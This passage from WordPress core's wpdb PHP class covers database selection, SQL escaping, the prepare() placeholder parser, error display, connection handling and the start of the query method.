				$tables['users'] = CUSTOM_USER_TABLE;
			}

			if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) {
				$tables['usermeta'] = CUSTOM_USER_META_TABLE;
			}
		}

		return $tables;
	}

	/**
	 * Selects a database using the current or provided database connection.
	 *
	 * The database name will be changed based on the current database connection.
	 * On failure, the execution will bail and display a DB error.
	 *
	 * @since 0.71
	 *
	 * @param string $db  Database name.
	 * @param mysqli $dbh Optional. Database connection.
	 *                    Defaults to the current database handle.
	 */
	public function select( $db, $dbh = null ) {
		if ( is_null( $dbh ) ) {
			$dbh = $this->dbh;
		}

		$success = mysqli_select_db( $dbh, $db );

		if ( ! $success ) {
			$this->ready = false;
			if ( ! did_action( 'template_redirect' ) ) {
				wp_load_translations_early();

				$message = '<h1>' . __( 'Cannot select database' ) . "</h1>\n";

				$message .= '<p>' . sprintf(
					/* translators: %s: Database name. */
					__( 'The database server could be connected to (which means your username and password is okay) but the %s database could not be selected.' ),
					'<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
				) . "</p>\n";

				$message .= "<ul>\n";
				$message .= '<li>' . __( 'Are you sure it exists?' ) . "</li>\n";

				$message .= '<li>' . sprintf(
					/* translators: 1: Database user, 2: Database name. */
					__( 'Does the user %1$s have permission to use the %2$s database?' ),
					'<code>' . htmlspecialchars( $this->dbuser, ENT_QUOTES ) . '</code>',
					'<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
				) . "</li>\n";

				$message .= '<li>' . sprintf(
					/* translators: %s: Database name. */
					__( 'On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?' ),
					htmlspecialchars( $db, ENT_QUOTES )
				) . "</li>\n";

				$message .= "</ul>\n";

				$message .= '<p>' . sprintf(
					/* translators: %s: Support forums URL. */
					__( 'If you do not know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="%s">WordPress support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				) . "</p>\n";

				$this->bail( $message, 'db_select_fail' );
			}
		}
	}

	/**
	 * Do not use, deprecated.
	 *
	 * Use esc_sql() or wpdb::prepare() instead.
	 *
	 * @since 2.8.0
	 * @deprecated 3.6.0 Use wpdb::prepare()
	 * @see wpdb::prepare()
	 * @see esc_sql()
	 *
	 * @param string $data
	 * @return string
	 */
	public function _weak_escape( $data ) {
		if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) {
			_deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
		}
		return addslashes( $data );
	}

	/**
	 * Real escape using mysqli_real_escape_string().
	 *
	 * @since 2.8.0
	 *
	 * @see mysqli_real_escape_string()
	 *
	 * @param string $data String to escape.
	 * @return string Escaped string.
	 */
	public function _real_escape( $data ) {
		if ( ! is_scalar( $data ) ) {
			return '';
		}

		if ( $this->dbh ) {
			$escaped = mysqli_real_escape_string( $this->dbh, $data );
		} else {
			$class = get_class( $this );

			wp_load_translations_early();
			/* translators: %s: Database access abstraction class, usually wpdb or a class extending wpdb. */
			_doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' );

			$escaped = addslashes( $data );
		}

		return $this->add_placeholder_escape( $escaped );
	}

	/**
	 * Escapes data. Works on arrays.
	 *
	 * @since 2.8.0
	 *
	 * @uses wpdb::_real_escape()
	 *
	 * @param string|array $data Data to escape.
	 * @return string|array Escaped data, in the same type as supplied.
	 */
	public function _escape( $data ) {
		if ( is_array( $data ) ) {
			foreach ( $data as $k => $v ) {
				if ( is_array( $v ) ) {
					$data[ $k ] = $this->_escape( $v );
				} else {
					$data[ $k ] = $this->_real_escape( $v );
				}
			}
		} else {
			$data = $this->_real_escape( $data );
		}

		return $data;
	}

	/**
	 * Do not use, deprecated.
	 *
	 * Use esc_sql() or wpdb::prepare() instead.
	 *
	 * @since 0.71
	 * @deprecated 3.6.0 Use wpdb::prepare()
	 * @see wpdb::prepare()
	 * @see esc_sql()
	 *
	 * @param string|array $data Data to escape.
	 * @return string|array Escaped data, in the same type as supplied.
	 */
	public function escape( $data ) {
		if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) {
			_deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
		}
		if ( is_array( $data ) ) {
			foreach ( $data as $k => $v ) {
				if ( is_array( $v ) ) {
					$data[ $k ] = $this->escape( $v, 'recursive' );
				} else {
					$data[ $k ] = $this->_weak_escape( $v, 'internal' );
				}
			}
		} else {
			$data = $this->_weak_escape( $data, 'internal' );
		}

		return $data;
	}

	/**
	 * Escapes content by reference for insertion into the database, for security.
	 *
	 * @uses wpdb::_real_escape()
	 *
	 * @since 2.3.0
	 *
	 * @param string $data String to escape.
	 */
	public function escape_by_ref( &$data ) {
		if ( ! is_float( $data ) ) {
			$data = $this->_real_escape( $data );
		}
	}

	/**
	 * Quotes an identifier for a MySQL database, e.g. table/field names.
	 *
	 * @since 6.2.0
	 *
	 * @param string $identifier Identifier to escape.
	 * @return string Escaped identifier.
	 */
	public function quote_identifier( $identifier ) {
		return '`' . $this->_escape_identifier_value( $identifier ) . '`';
	}

	/**
	 * Escapes an identifier value without adding the surrounding quotes.
	 *
	 * - Permitted characters in quoted identifiers include the full Unicode
	 *   Basic Multilingual Plane (BMP), except U+0000.
	 * - To quote the identifier itself, you need to double the character, e.g. `a``b`.
	 *
	 * @since 6.2.0
	 *
	 * @link https://dev.mysql.com/doc/refman/8.0/en/identifiers.html
	 *
	 * @param string $identifier Identifier to escape.
	 * @return string Escaped identifier.
	 */
	private function _escape_identifier_value( $identifier ) {
		return str_replace( '`', '``', $identifier );
	}

	/**
	 * Prepares a SQL query for safe execution.
	 *
	 * Uses `sprintf()`-like syntax. The following placeholders can be used in the query string:
	 *
	 * - `%d` (integer)
	 * - `%f` (float)
	 * - `%s` (string)
	 * - `%i` (identifier, e.g. table/field names)
	 *
	 * All placeholders MUST be left unquoted in the query string. A corresponding argument
	 * MUST be passed for each placeholder.
	 *
	 * Note: There is one exception to the above: for compatibility with old behavior,
	 * numbered or formatted string placeholders (eg, `%1$s`, `%5s`) will not have quotes
	 * added by this function, so should be passed with appropriate quotes around them.
	 *
	 * Literal percentage signs (`%`) in the query string must be written as `%%`. Percentage wildcards
	 * (for example, to use in LIKE syntax) must be passed via a substitution argument containing
	 * the complete LIKE string, these cannot be inserted directly in the query string.
	 * Also see wpdb::esc_like().
	 *
	 * Arguments may be passed as individual arguments to the method, or as a single array
	 * containing all arguments. A combination of the two is not supported.
	 *
	 * Examples:
	 *
	 *     $wpdb->prepare(
	 *         "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s",
	 *         array( 'foo', 1337, '%bar' )
	 *     );
	 *
	 *     $wpdb->prepare(
	 *         "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s",
	 *         'foo'
	 *     );
	 *
	 * @since 2.3.0
	 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
	 *              by updating the function signature. The second parameter was changed
	 *              from `$args` to `...$args`.
	 * @since 6.2.0 Added `%i` for identifiers, e.g. table or field names.
	 *              Check support via `wpdb::has_cap( 'identifier_placeholders' )`.
	 *              This preserves compatibility with `sprintf()`, as the C version uses
	 *              `%d` and `$i` as a signed integer, whereas PHP only supports `%d`.
	 *
	 * @link https://www.php.net/sprintf Description of syntax.
	 *
	 * @param string      $query   Query statement with `sprintf()`-like placeholders.
	 * @param array|mixed $args    The array of variables to substitute into the query's placeholders
	 *                             if being called with an array of arguments, or the first variable
	 *                             to substitute into the query's placeholders if being called with
	 *                             individual arguments.
	 * @param mixed       ...$args Further variables to substitute into the query's placeholders
	 *                             if being called with individual arguments.
	 * @return string|void Sanitized query string, if there is a query to prepare.
	 */
	public function prepare( $query, ...$args ) {
		if ( is_null( $query ) ) {
			return;
		}

		/*
		 * This is not meant to be foolproof -- but it will catch obviously incorrect usage.
		 *
		 * Note: str_contains() is not used here, as this file can be included
		 * directly outside of WordPress core, e.g. by HyperDB, in which case
		 * the polyfills from wp-includes/compat.php are not loaded.
		 */
		if ( false === strpos( $query, '%' ) ) {
			wp_load_translations_early();
			_doing_it_wrong(
				'wpdb::prepare',
				sprintf(
					/* translators: %s: wpdb::prepare() */
					__( 'The query argument of %s must have a placeholder.' ),
					'wpdb::prepare()'
				),
				'3.9.0'
			);
		}

		/*
		 * Specify the formatting allowed in a placeholder. The following are allowed:
		 *
		 * - Sign specifier, e.g. $+d
		 * - Numbered placeholders, e.g. %1$s
		 * - Padding specifier, including custom padding characters, e.g. %05s, %'#5s
		 * - Alignment specifier, e.g. %05-s
		 * - Precision specifier, e.g. %.2f
		 */
		$allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?';

		/*
		 * If a %s placeholder already has quotes around it, removing the existing quotes
		 * and re-inserting them ensures the quotes are consistent.
		 *
		 * For backward compatibility, this is only applied to %s, and not to placeholders like %1$s,
		 * which are frequently used in the middle of longer strings, or as table name placeholders.
		 */
		$query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes.
		$query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes.

		// Escape any unescaped percents (i.e. anything unrecognised).
		$query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdfFi]))/", '%%\\1', $query );

		// Extract placeholders from the query.
		$split_query = preg_split( "/(^|[^%]|(?:%%)+)(%(?:$allowed_format)?[sdfFi])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE );

		$split_query_count = count( $split_query );

		/*
		 * Split always returns with 1 value before the first placeholder (even with $query = "%s"),
		 * then 3 additional values per placeholder.
		 */
		$placeholder_count = ( ( $split_query_count - 1 ) / 3 );

		// If args were passed as an array, as in vsprintf(), move them up.
		$passed_as_array = ( isset( $args[0] ) && is_array( $args[0] ) && 1 === count( $args ) );
		if ( $passed_as_array ) {
			$args = $args[0];
		}

		$new_query       = '';
		$key             = 2; // Keys 0 and 1 in $split_query contain values before the first placeholder.
		$arg_id          = 0;
		$arg_identifiers = array();
		$arg_strings     = array();

		while ( $key < $split_query_count ) {
			$placeholder = $split_query[ $key ];

			$format = substr( $placeholder, 1, -1 );
			$type   = substr( $placeholder, -1 );

			if ( 'f' === $type && true === $this->allow_unsafe_unquoted_parameters
				/*
				 * Note: str_ends_with() is not used here, as this file can be included
				 * directly outside of WordPress core, e.g. by HyperDB, in which case
				 * the polyfills from wp-includes/compat.php are not loaded.
				 */
				&& '%' === substr( $split_query[ $key - 1 ], -1, 1 )
			) {

				/*
				 * Before WP 6.2 the "force floats to be locale-unaware" RegEx didn't
				 * convert "%%%f" to "%%%F" (note the uppercase F).
				 * This was because it didn't check to see if the leading "%" was escaped.
				 * And because the "Escape any unescaped percents" RegEx used "[sdF]" in its
				 * negative lookahead assertion, when there was an odd number of "%", it added
				 * an extra "%", to give the fully escaped "%%%%f" (not a placeholder).
				 */

				$s = $split_query[ $key - 2 ] . $split_query[ $key - 1 ];
				$k = 1;
				$l = strlen( $s );
				while ( $k <= $l && '%' === $s[ $l - $k ] ) {
					++$k;
				}

				$placeholder = '%' . ( $k % 2 ? '%' : '' ) . $format . $type;

				--$placeholder_count;

			} else {

				// Force floats to be locale-unaware.
				if ( 'f' === $type ) {
					$type        = 'F';
					$placeholder = '%' . $format . $type;
				}

				if ( 'i' === $type ) {
					$placeholder = '`%' . $format . 's`';
					// Using a simple strpos() due to previous checking (e.g. $allowed_format).
					$argnum_pos = strpos( $format, '$' );

					if ( false !== $argnum_pos ) {
						// sprintf() argnum starts at 1, $arg_id from 0.
						$arg_identifiers[] = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 );
					} else {
						$arg_identifiers[] = $arg_id;
					}
				} elseif ( 'd' !== $type && 'F' !== $type ) {
					/*
					 * i.e. ( 's' === $type ), where 'd' and 'F' keeps $placeholder unchanged,
					 * and we ensure string escaping is used as a safe default (e.g. even if 'x').
					 */
					$argnum_pos = strpos( $format, '$' );

					if ( false !== $argnum_pos ) {
						$arg_strings[] = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 );
					} else {
						$arg_strings[] = $arg_id;
					}

					/*
					 * Unquoted strings for backward compatibility (dangerous).
					 * First, "numbered or formatted string placeholders (eg, %1$s, %5s)".
					 * Second, if "%s" has a "%" before it, even if it's unrelated (e.g. "LIKE '%%%s%%'").
					 */
					if ( true !== $this->allow_unsafe_unquoted_parameters
						/*
						 * Note: str_ends_with() is not used here, as this file can be included
						 * directly outside of WordPress core, e.g. by HyperDB, in which case
						 * the polyfills from wp-includes/compat.php are not loaded.
						 */
						|| ( '' === $format && '%' !== substr( $split_query[ $key - 1 ], -1, 1 ) )
					) {
						$placeholder = "'%" . $format . "s'";
					}
				}
			}

			// Glue (-2), any leading characters (-1), then the new $placeholder.
			$new_query .= $split_query[ $key - 2 ] . $split_query[ $key - 1 ] . $placeholder;

			$key += 3;
			++$arg_id;
		}

		// Replace $query; and add remaining $query characters, or index 0 if there were no placeholders.
		$query = $new_query . $split_query[ $key - 2 ];

		$dual_use = array_intersect( $arg_identifiers, $arg_strings );

		if ( count( $dual_use ) > 0 ) {
			wp_load_translations_early();

			$used_placeholders = array();

			$key    = 2;
			$arg_id = 0;
			// Parse again (only used when there is an error).
			while ( $key < $split_query_count ) {
				$placeholder = $split_query[ $key ];

				$format = substr( $placeholder, 1, -1 );

				$argnum_pos = strpos( $format, '$' );

				if ( false !== $argnum_pos ) {
					$arg_pos = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 );
				} else {
					$arg_pos = $arg_id;
				}

				$used_placeholders[ $arg_pos ][] = $placeholder;

				$key += 3;
				++$arg_id;
			}

			$conflicts = array();
			foreach ( $dual_use as $arg_pos ) {
				$conflicts[] = implode( ' and ', $used_placeholders[ $arg_pos ] );
			}

			_doing_it_wrong(
				'wpdb::prepare',
				sprintf(
					/* translators: %s: A list of placeholders found to be a problem. */
					__( 'Arguments cannot be prepared as both an Identifier and Value. Found the following conflicts: %s' ),
					implode( ', ', $conflicts )
				),
				'6.2.0'
			);

			return;
		}

		$args_count = count( $args );

		if ( $args_count !== $placeholder_count ) {
			if ( 1 === $placeholder_count && $passed_as_array ) {
				/*
				 * If the passed query only expected one argument,
				 * but the wrong number of arguments was sent as an array, bail.
				 */
				wp_load_translations_early();
				_doing_it_wrong(
					'wpdb::prepare',
					__( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ),
					'4.9.0'
				);

				return;
			} else {
				/*
				 * If we don't have the right number of placeholders,
				 * but they were passed as individual arguments,
				 * or we were expecting multiple arguments in an array, throw a warning.
				 */
				wp_load_translations_early();
				_doing_it_wrong(
					'wpdb::prepare',
					sprintf(
						/* translators: 1: Number of placeholders, 2: Number of arguments passed. */
						__( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ),
						$placeholder_count,
						$args_count
					),
					'4.8.3'
				);

				/*
				 * If we don't have enough arguments to match the placeholders,
				 * return an empty string to avoid a fatal error on PHP 8.
				 */
				if ( $args_count < $placeholder_count ) {
					$max_numbered_placeholder = 0;

					for ( $i = 2, $l = $split_query_count; $i < $l; $i += 3 ) {
						// Assume a leading number is for a numbered placeholder, e.g. '%3$s'.
						$argnum = (int) substr( $split_query[ $i ], 1 );

						if ( $max_numbered_placeholder < $argnum ) {
							$max_numbered_placeholder = $argnum;
						}
					}

					if ( ! $max_numbered_placeholder || $args_count < $max_numbered_placeholder ) {
						return '';
					}
				}
			}
		}

		$args_escaped = array();

		foreach ( $args as $i => $value ) {
			if ( in_array( $i, $arg_identifiers, true ) ) {
				$args_escaped[] = $this->_escape_identifier_value( $value );
			} elseif ( is_int( $value ) || is_float( $value ) ) {
				$args_escaped[] = $value;
			} else {
				if ( ! is_scalar( $value ) && ! is_null( $value ) ) {
					wp_load_translations_early();
					_doing_it_wrong(
						'wpdb::prepare',
						sprintf(
							/* translators: %s: Value type. */
							__( 'Unsupported value type (%s).' ),
							gettype( $value )
						),
						'4.8.2'
					);

					// Preserving old behavior, where values are escaped as strings.
					$value = '';
				}

				$args_escaped[] = $this->_real_escape( $value );
			}
		}

		$query = vsprintf( $query, $args_escaped );

		return $this->add_placeholder_escape( $query );
	}

	/**
	 * First half of escaping for `LIKE` special characters `%` and `_` before preparing for SQL.
	 *
	 * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security.
	 *
	 * Example Prepared Statement:
	 *
	 *     $wild = '%';
	 *     $find = 'only 43% of planets';
	 *     $like = $wild . $wpdb->esc_like( $find ) . $wild;
	 *     $sql  = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like );
	 *
	 * Example Escape Chain:
	 *
	 *     $sql  = esc_sql( $wpdb->esc_like( $input ) );
	 *
	 * @since 4.0.0
	 *
	 * @param string $text The raw text to be escaped. The input typed by the user
	 *                     should have no extra or deleted slashes.
	 * @return string Text in the form of a LIKE phrase. The output is not SQL safe.
	 *                Call wpdb::prepare() or wpdb::_real_escape() next.
	 */
	public function esc_like( $text ) {
		return addcslashes( $text, '_%\\' );
	}

	/**
	 * Prints SQL/DB error.
	 *
	 * @since 0.71
	 *
	 * @global array $EZSQL_ERROR Stores error information of query and error string.
	 *
	 * @param string $str The error to display.
	 * @return void|false Void if the showing of errors is enabled, false if disabled.
	 */
	public function print_error( $str = '' ) {
		global $EZSQL_ERROR;

		if ( ! $str ) {
			$str = mysqli_error( $this->dbh );
		}

		$EZSQL_ERROR[] = array(
			'query'     => $this->last_query,
			'error_str' => $str,
		);

		if ( $this->suppress_errors ) {
			return false;
		}

		$caller = $this->get_caller();
		if ( $caller ) {
			// Not translated, as this will only appear in the error log.
			$error_str = sprintf( 'WordPress database error %1$s for query %2$s made by %3$s', $str, $this->last_query, $caller );
		} else {
			$error_str = sprintf( 'WordPress database error %1$s for query %2$s', $str, $this->last_query );
		}

		error_log( $error_str );

		// Are we showing errors?
		if ( ! $this->show_errors ) {
			return false;
		}

		wp_load_translations_early();

		// If there is an error then take note of it.
		if ( is_multisite() ) {
			$msg = sprintf(
				"%s [%s]\n%s\n",
				__( 'WordPress database error:' ),
				$str,
				$this->last_query
			);

			if ( defined( 'ERRORLOGFILE' ) ) {
				error_log( $msg, 3, ERRORLOGFILE );
			}
			if ( defined( 'DIEONDBERROR' ) ) {
				wp_die( $msg );
			}
		} else {
			$str   = htmlspecialchars( $str, ENT_QUOTES );
			$query = htmlspecialchars( $this->last_query, ENT_QUOTES );

			printf(
				'<div id="error"><p class="wpdberror"><strong>%s</strong> [%s]<br /><code>%s</code></p></div>',
				__( 'WordPress database error:' ),
				$str,
				$query
			);
		}
	}

	/**
	 * Enables showing of database errors.
	 *
	 * This function should be used only to enable showing of errors.
	 * wpdb::hide_errors() should be used instead for hiding errors.
	 *
	 * @since 0.71
	 *
	 * @see wpdb::hide_errors()
	 *
	 * @param bool $show Optional. Whether to show errors. Default true.
	 * @return bool Whether showing of errors was previously active.
	 */
	public function show_errors( $show = true ) {
		$errors            = $this->show_errors;
		$this->show_errors = $show;
		return $errors;
	}

	/**
	 * Disables showing of database errors.
	 *
	 * By default database errors are not shown.
	 *
	 * @since 0.71
	 *
	 * @see wpdb::show_errors()
	 *
	 * @return bool Whether showing of errors was previously active.
	 */
	public function hide_errors() {
		$show              = $this->show_errors;
		$this->show_errors = false;
		return $show;
	}

	/**
	 * Enables or disables suppressing of database errors.
	 *
	 * By default database errors are suppressed.
	 *
	 * @since 2.5.0
	 *
	 * @see wpdb::hide_errors()
	 *
	 * @param bool $suppress Optional. Whether to suppress errors. Default true.
	 * @return bool Whether suppressing of errors was previously active.
	 */
	public function suppress_errors( $suppress = true ) {
		$errors                = $this->suppress_errors;
		$this->suppress_errors = (bool) $suppress;
		return $errors;
	}

	/**
	 * Kills cached query results.
	 *
	 * @since 0.71
	 */
	public function flush() {
		$this->last_result   = array();
		$this->col_info      = null;
		$this->last_query    = null;
		$this->rows_affected = 0;
		$this->num_rows      = 0;
		$this->last_error    = '';

		if ( $this->result instanceof mysqli_result ) {
			mysqli_free_result( $this->result );
			$this->result = null;

			// Confidence check before using the handle.
			if ( empty( $this->dbh ) || ! ( $this->dbh instanceof mysqli ) ) {
				return;
			}

			// Clear out any results from a multi-query.
			while ( mysqli_more_results( $this->dbh ) ) {
				mysqli_next_result( $this->dbh );
			}
		}
	}

	/**
	 * Connects to and selects database.
	 *
	 * If `$allow_bail` is false, the lack of database connection will need to be handled manually.
	 *
	 * @since 3.0.0
	 * @since 3.9.0 $allow_bail parameter added.
	 *
	 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
	 * @return bool True with a successful connection, false on failure.
	 */
	public function db_connect( $allow_bail = true ) {
		$this->is_mysql = true;

		$client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0;

		/*
		 * Set the MySQLi error reporting off because WordPress handles its own.
		 * This is due to the default value change from `MYSQLI_REPORT_OFF`
		 * to `MYSQLI_REPORT_ERROR|MYSQLI_REPORT_STRICT` in PHP 8.1.
		 */
		mysqli_report( MYSQLI_REPORT_OFF );

		$this->dbh = mysqli_init();

		$host    = $this->dbhost;
		$port    = null;
		$socket  = null;
		$is_ipv6 = false;

		$host_data = $this->parse_db_host( $this->dbhost );
		if ( $host_data ) {
			list( $host, $port, $socket, $is_ipv6 ) = $host_data;
		}

		/*
		 * If using the `mysqlnd` library, the IPv6 address needs to be enclosed
		 * in square brackets, whereas it doesn't while using the `libmysqlclient` library.
		 * @see https://bugs.php.net/bug.php?id=67563
		 */
		if ( $is_ipv6 && extension_loaded( 'mysqlnd' ) ) {
			$host = "[$host]";
		}

		if ( WP_DEBUG ) {
			mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
		} else {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
			@mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
		}

		if ( $this->dbh->connect_errno ) {
			$this->dbh = null;
		}

		if ( ! $this->dbh && $allow_bail ) {
			wp_load_translations_early();

			// Load custom DB error template, if present.
			if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
				require_once WP_CONTENT_DIR . '/db-error.php';
				die();
			}

			$message = '<h1>' . __( 'Error establishing a database connection' ) . "</h1>\n";

			$message .= '<p>' . sprintf(
				/* translators: 1: wp-config.php, 2: Database host. */
				__( 'This either means that the username and password information in your %1$s file is incorrect or that contact with the database server at %2$s could not be established. This could mean your host&#8217;s database server is down.' ),
				'<code>wp-config.php</code>',
				'<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
			) . "</p>\n";

			$message .= "<ul>\n";
			$message .= '<li>' . __( 'Are you sure you have the correct username and password?' ) . "</li>\n";
			$message .= '<li>' . __( 'Are you sure you have typed the correct hostname?' ) . "</li>\n";
			$message .= '<li>' . __( 'Are you sure the database server is running?' ) . "</li>\n";
			$message .= "</ul>\n";

			$message .= '<p>' . sprintf(
				/* translators: %s: Support forums URL. */
				__( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			) . "</p>\n";

			$this->bail( $message, 'db_connect_fail' );

			return false;
		} elseif ( $this->dbh ) {
			if ( ! $this->has_connected ) {
				$this->init_charset();
			}

			$this->has_connected = true;

			$this->set_charset( $this->dbh );

			$this->ready = true;
			$this->set_sql_mode();
			$this->select( $this->dbname, $this->dbh );

			return true;
		}

		return false;
	}

	/**
	 * Parses the DB_HOST setting to interpret it for mysqli_real_connect().
	 *
	 * mysqli_real_connect() doesn't support the host param including a port or socket
	 * like mysql_connect() does. This duplicates how mysql_connect() detects a port
	 * and/or socket file.
	 *
	 * @since 4.9.0
	 *
	 * @param string $host The DB_HOST setting to parse.
	 * @return array|false {
	 *     Array containing the host, the port, the socket and
	 *     whether it is an IPv6 address, in that order.
	 *     False if the host couldn't be parsed.
	 *
	 *     @type string      $0 Host name.
	 *     @type string|null $1 Port.
	 *     @type string|null $2 Socket.
	 *     @type bool        $3 Whether it is an IPv6 address.
	 * }
	 */
	public function parse_db_host( $host ) {
		$socket  = null;
		$is_ipv6 = false;

		// First peel off the socket parameter from the right, if it exists.
		$socket_pos = strpos( $host, ':/' );
		if ( false !== $socket_pos ) {
			$socket = substr( $host, $socket_pos + 1 );
			$host   = substr( $host, 0, $socket_pos );
		}

		/*
		 * We need to check for an IPv6 address first.
		 * An IPv6 address will always contain at least two colons.
		 */
		if ( substr_count( $host, ':' ) > 1 ) {
			$pattern = '#^(?:\[)?(?P<host>[0-9a-fA-F:]+)(?:\]:(?P<port>[\d]+))?#';
			$is_ipv6 = true;
		} else {
			// We seem to be dealing with an IPv4 address.
			$pattern = '#^(?P<host>[^:/]*)(?::(?P<port>[\d]+))?#';
		}

		$matches = array();
		$result  = preg_match( $pattern, $host, $matches );

		if ( 1 !== $result ) {
			// Couldn't parse the address, bail.
			return false;
		}

		$host = ! empty( $matches['host'] ) ? $matches['host'] : '';
		// MySQLi port cannot be a string; must be null or an integer.
		$port = ! empty( $matches['port'] ) ? absint( $matches['port'] ) : null;

		return array( $host, $port, $socket, $is_ipv6 );
	}

	/**
	 * Checks that the connection to the database is still up. If not, try to reconnect.
	 *
	 * If this function is unable to reconnect, it will forcibly die, or if called
	 * after the {@see 'template_redirect'} hook has been fired, return false instead.
	 *
	 * If `$allow_bail` is false, the lack of database connection will need to be handled manually.
	 *
	 * @since 3.9.0
	 *
	 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
	 * @return bool|void True if the connection is up.
	 */
	public function check_connection( $allow_bail = true ) {
		if ( ! empty( $this->dbh ) && mysqli_ping( $this->dbh ) ) {
			return true;
		}

		$error_reporting = false;

		// Disable warnings, as we don't want to see a multitude of "unable to connect" messages.
		if ( WP_DEBUG ) {
			$error_reporting = error_reporting();
			error_reporting( $error_reporting & ~E_WARNING );
		}

		for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) {
			/*
			 * On the last try, re-enable warnings. We want to see a single instance
			 * of the "unable to connect" message on the bail() screen, if it appears.
			 */
			if ( $this->reconnect_retries === $tries && WP_DEBUG ) {
				error_reporting( $error_reporting );
			}

			if ( $this->db_connect( false ) ) {
				if ( $error_reporting ) {
					error_reporting( $error_reporting );
				}

				return true;
			}

			sleep( 1 );
		}

		/*
		 * If template_redirect has already happened, it's too late for wp_die()/dead_db().
		 * Let's just return and hope for the best.
		 */
		if ( did_action( 'template_redirect' ) ) {
			return false;
		}

		if ( ! $allow_bail ) {
			return false;
		}

		wp_load_translations_early();

		$message = '<h1>' . __( 'Error reconnecting to the database' ) . "</h1>\n";

		$message .= '<p>' . sprintf(
			/* translators: %s: Database host. */
			__( 'This means that the contact with the database server at %s was lost. This could mean your host&#8217;s database server is down.' ),
			'<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
		) . "</p>\n";

		$message .= "<ul>\n";
		$message .= '<li>' . __( 'Are you sure the database server is running?' ) . "</li>\n";
		$message .= '<li>' . __( 'Are you sure the database server is not under particularly heavy load?' ) . "</li>\n";
		$message .= "</ul>\n";

		$message .= '<p>' . sprintf(
			/* translators: %s: Support forums URL. */
			__( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress support forums</a>.' ),
			__( 'https://wordpress.org/support/forums/' )
		) . "</p>\n";

		// We weren't able to reconnect, so we better bail.
		$this->bail( $message, 'db_connect_fail' );

		/*
		 * Call dead_db() if bail didn't die, because this database is no more.
		 * It has ceased to be (at least temporarily).
		 */
		dead_db();
	}

	/**
	 * Performs a database query, using current database connection.
	 *
	 * More information can be found on the documentation page.
	 *
	 * @since 0.71
	 *
	 * @link https://developer.wordpress.org/reference/classes/wpdb/
	 *
	 * @param string $query Database query.
	 * @return int|bool Boolean true for CREATE, ALTER, TRUNCATE and DROP queries. Number of rows
	 *                  affected/selected for all other queries. Boolean false on error.
	 */
	public function query( $query ) {
		if ( ! $this->ready ) {
			$this->check_current_query = true;
			return false;
		}

		/**
		 * Filters the database query.
		 *
		 * Some queries are made before the plugins have been loaded,
		 * and thus cannot be filtered with this method.
		 *
		 * @since 2.1.0
		 *
		 * @param string $query Database query.
		 */
		$query = apply_filters( 'query', $query );

		if ( ! $query ) {
			$this->insert_id = 0;
			return false;
		}

		$this->flush();

		// Log how the function was called.
		$this->func_call = "\$db->query(\"$query\")";

		// If we're writing to the database, make sure the query will write safely.
		if ( $this->check_current_query && ! $this->check_ascii( $query ) ) {
			$stripped_query = $this->strip_invalid_text_from_query( $query );
			/*
			 * strip_invalid_text_from_query() can perform queries, so we need
			 * to flush again, just to make sure everything is clear.
			 */
			$this->flush();
			if ( $stripped_query !== $query ) {
				$this->insert_id  = 0;
				$this->last_query = $query;

				wp_load_translations_early();

				$this->last_error = __( 'WordPress database error: Could not perform query because it contains invalid data.' );

				return false;
			}
		}

		$this->check_current_query = true;

		// Keep track of the last query for debug.
		$this->last_query = $query;

		$this->_do_query( $query );

		// Database server has gone away, try to reconnect.
		$mysql_errno = 0;

		if ( $this->dbh instanceof mysqli ) {
			$mysql_errno = mysqli_errno( $this->dbh );
		} else {
			/*
			 * $dbh is defined, but isn't a real connection.
			 * Something has gone horribly wrong, let's try a reconnect.
			 */
			$mysql_errno = 2006;
		}

		if ( empty( $this->dbh ) || 2006 === $mysql_errno ) {
			if ( $this->check_connection() ) {
				$this->_do_query( $query );
			} else {
				$this->insert_id = 0;
				return false;
			}
		}

		// If there is an error then take note of it.
